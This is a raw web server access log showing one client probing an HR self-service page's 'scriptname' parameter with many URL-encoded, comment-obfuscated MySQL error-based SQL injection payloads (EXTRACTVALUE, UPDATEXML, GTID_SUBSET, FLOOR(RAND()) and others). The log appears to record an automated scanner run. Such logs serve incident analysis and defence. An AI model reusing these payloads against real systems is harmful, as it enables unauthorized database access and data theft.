100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x46306268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4f764d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x46306268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4f764d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x77423149%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a587863%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x77423149%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a587863%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55544d49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d754f35%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55544d49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d754f35%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4b566c36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67596442%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4b566c36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67596442%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6169644e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414c7048%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6169644e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414c7048%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x746f6d47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57583347%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x746f6d47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57583347%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54664d63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e374b68%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54664d63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e374b68%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59387156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e434658%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59387156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e434658%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a4e784d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72436f65%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a4e784d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72436f65%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52507a68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35707672%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52507a68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35707672%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7a355050%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49467376%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7a355050%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49467376%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3874546a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61735778%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6361574e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a494c61%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6361574e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a494c61%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x766b7369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49664835%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x766b7369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49664835%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72545a4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b6c6c72%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72545a4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b6c6c72%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a63506a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b78726d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x46306268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4f764d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x77423149%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a587863%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55544d49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d754f35%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4b566c36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67596442%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54664d63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e374b68%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
